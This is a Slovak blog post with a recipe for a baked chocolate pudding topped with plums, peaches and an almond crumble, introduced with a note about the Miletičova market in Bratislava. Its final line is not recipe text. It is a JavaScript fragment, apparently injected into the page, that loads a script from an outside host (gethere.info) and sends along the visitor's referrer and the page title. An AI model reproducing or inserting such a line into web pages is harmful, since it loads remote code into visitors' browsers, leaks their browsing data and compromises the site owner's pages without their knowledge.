Aj napriek mojim úvodným snahám o ukončenie letnej sezóny sa ukazuje, že leto ešte nepovedalo svoje posledné slovo a stále nás má čím príjemne prekvapiť. Takže tu máme letmý návrat prostredníctvom jednej z letných “hviezd”. Naozaj si to zaslúži, súhlasíte? :)

Takéto nádherné domáce broskyne dostať v Bratislave na “Miletičke”. Návšteva tohoto trhu v lete je pre mňa prívalom čistej a nefalšovanej radosti.

Keďže moja hlava už pracuje v jesennom duchu, spojila som kúsok leta so slivkami a čokoládou a vznikol šťavnatý krémový čokoládový dezert s letno-jesenným nádychom.

Snáď už ani nemusíme zdôrazňovať, že pre nás je dezert jednoducho nevyhnutnosť, ktorú si nechceme, nevieme a ani nemôžeme odoprieť.

Ingrediencie: (forma s priemerom cca 20cm)

150g kvalitnej čokolády
75g kokosového oleja/masla
75g medu/javorového sirupu
2 vajíčka
1 broskyňa
asi 4 slivky
štipka škorice
1 lyžica mandlí + 1 lyžička kokosového cukru -> pomelieme na karamelovú mrveničku :)

Postup:

Čokoládu s maslom a medom roztopíme nad vodným kúpeľom. Ešte do horúcej zmesi rýchlo zašľaháme vajíčka. Vznikne hustý krém pripomínajúci puding.
Broskyne a slivky si nakrájame na mesiačiky a trošku posypeme škoricou.
Čokoládovú zmes rovnomerne vylejeme do formy vystlanej papierom na pečenie. Poukladáme naň nakrájané ovocie a posypeme mrveničkou.
Pečieme pri 170°C približne 25 minút. Vo vnútri by mal byť koláč čiastočne krémový :).
Podávame teplé, alebo aj vychladené (pôžitok zaručený).

Čoko slivkovo-broskyňový pečený puding

*forma s priemerom cca 20cm

Ingredients

150g kvalitnej čokolády
75g kokosového oleja/masla
75g medu/javorového sirupu
2 vajíčka
1 broskyňa
asi 4 slivky
štipka škorice
1 lyžica mandlí + 1 lyžička kokosového cukru -> pomelieme na karamelovú mrveničku :)

Instructions

Čokoládu s maslom a medom roztopíme nad vodným kúpeľom. Ešte do horúcej zmesi rýchlo zašľaháme vajíčka. Vznikne hustý krém pripomínajúci puding.
Broskyne a slivky si nakrájame na mesiačiky a trošku posypeme škoricou.
Čokoládovú zmes rovnomerne vylejeme do formy vystlanej papierom na pečenie. Poukladáme naň nakrájané ovocie a posypeme mrveničkou.
Pečieme pri 170°C približne 25 minút. Vo vnútri by mal byť koláč čiastočne krémový :).
Podávame teplé, alebo aj vychladené (pôžitok zaručený).

takto krémový.. :))

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;